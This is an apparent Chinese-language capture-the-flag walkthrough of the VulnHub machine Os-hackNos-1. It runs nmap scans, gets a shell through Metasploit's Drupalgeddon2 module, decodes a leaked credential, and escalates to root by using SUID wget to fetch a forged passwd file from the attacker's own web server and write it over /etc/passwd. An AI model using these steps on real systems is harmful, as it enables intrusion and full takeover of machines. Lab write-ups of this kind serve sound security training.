vulnhub-Os-hackNos-1
知识点:
Drupal 7
使用msf getshell
wget提权
环境搭建
- 难度:中等偏下
- 需要获取俩个flag
1 | Difficulty : Easy to Intermediate |
靶机和kali均使用NAT模式,靶机最开始不能获取ip
参考:https://blog.csdn.net/qq_41918771/article/details/103636890
使用网上常规的方法修改即可获取ip
信息收集
主机发现
nmap -sP 192.168.211.1/24
得到靶机的ip为192.168.211.154
端口扫描
nmap -A 192.168.211.154 -p 1-65535
靶机开放了80端口和22端口
访问80端口,是一个Apache2界面
扫描一下目录
发现是一个drupal
网站
在drupal/includes
里面可以进行目录遍历
之后对网站进行指纹识别
whatweb http://192.168.211.154/drupal/
是一个Drupal 7
的网站
getshell
使用msf搜索其漏洞从而进一步利用
search Drupal
这里先利用exploit/unix/webapp/drupal_drupalgeddon2
模块
1 | use exploit/unix/webapp/drupal_drupalgeddon2 |
之后成功返回会话
输入shell,之后再使用python进入交互模式
1 python3 -c 'import pty;pty.spawn("/bin/bash")'
这是后权限是非常低的
之后再/var/www/html
目录下发现一个alexander.txt
文件,打开之后为base64码
进行解码
1 | +++++ +++++ [->++ +++++ +++<] >++++ ++.-- ----- --.<+ ++[-> +++<] >+++. |
百度google后找到一个在线解码网站https://www.dcode.fr/brainfuck-language
得到james:Hacker@4514
我以为是james的ssh密码,但是并没有成功,后来发现是james的网站登陆密码
尝试从这里getshell,或许权限高一点
但是这个网站少了很多模块,似乎行不通
所以只有换一种提权方式
提权
这里利用SUID提权
查看具有suid权限的命令
find / -user root -perm -4000 -print 2>/dev/null
发现wget具有root权限,这里想到可以利用wget往/etc/passwd里面添加root用户
先使用openssl生成一个密码hash
1 | openssl passwd -1 -salt admin 111111 |
1 | 写成与/etc/passwd格式一样 |
将该用户信息写在本地,之后通过wget下载保存到靶机的/etc/passwd中
开启Apache2
service apache2 start
将靶机上面的/etc/passwd里面的内容复制到kali的/var/www/html/passwd中,之后再将admin123:$1$admin$2WRLhTGcIMgZ7OhwCpREK1:0:0::/root:/bin/bash
写入/var/www/html/passwd中
之后在靶机中下载
wget http://192.168.211.151/passwd -O /etc/passwd
切换用户即获得root权限
su admin123
获取flag